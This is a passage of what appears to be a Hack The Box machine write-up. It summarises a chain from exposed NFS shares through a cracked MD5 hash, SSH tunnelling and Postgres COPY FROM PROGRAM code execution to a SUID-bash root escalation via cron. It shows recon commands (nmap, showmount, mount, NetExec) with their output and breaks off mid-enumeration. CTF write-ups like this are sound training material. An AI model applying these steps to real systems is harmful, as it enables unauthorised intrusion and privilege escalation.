标签：#hackthebox

Summary NFS shares exposed the target's home directory and PostgreSQL backups. The user's psql history contained an MD5 hash that cracked to service . SSH with that account drops you immediately (shell is /bin/false ), but port forwarding still works - so we tunneled straight to the Postgres Unix socket and connected as the superuser. From there, COPY FROM PROGRAM gave us RCE as postgres. We injected our SSH key and got a shell. For root, a cron job running as root copies the entire Postgres data directory - which postgres owns. We dropped a SUID bash there, waited for the cron to fire, and root handed us a root shell. Chain: NFS leak → MD5 crack → SSH tunnel → Postgres RCE → SSH key injection → postgres shell → SUID bash via cron → root Recon nmap -A -Pn 10.129.234.160 -oA nmap PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 111/tcp open rpcbind 2-4 (RPC #100000) 2049/tcp open nfs_acl 3 (RPC #100227) NFS on 2049 is immediately interesting. We check what's exported: showmount -e 10.129.234.160 Export list for 10.129.234.160: /var/backups * /home * Both shares open to everyone ( * ). We mount them and enumerate: mkdir -p /mnt/home /mnt/backups mount -t nfs 10.129.234.160:/home /mnt/home mount -t nfs 10.129.234.160:/var/backups /mnt/backups find /mnt/backups -maxdepth 3 -ls # → several archive-*.zip files (~4.5MB each, created every minute) find /mnt/home -maxdepth 3 -ls # → /mnt/home/service (UID 1337, permission denied) We can't read the service home directory yet because our local UID doesn't match. We use NetExec to enumerate properly - it also detects a root escape vulnerability on the NFS server: nxc nfs 10.129.234.160 --enum-shares NFS 10.129.234.160 [*] Supported NFS versions: (3, 4) (root escape:True) NFS 10.129.234.160 [+] /var/backups NFS 10.129.234.160 0 r-- 4.5MB /var/backups/archive-2026-06-28T0446.zip NFS 10.129.234.160 [+] /home NFS 10.129.234.160 1337 r-- 90B /home/service/.bash_history NFS 10.129.234.160 1337 r-- 326B /hom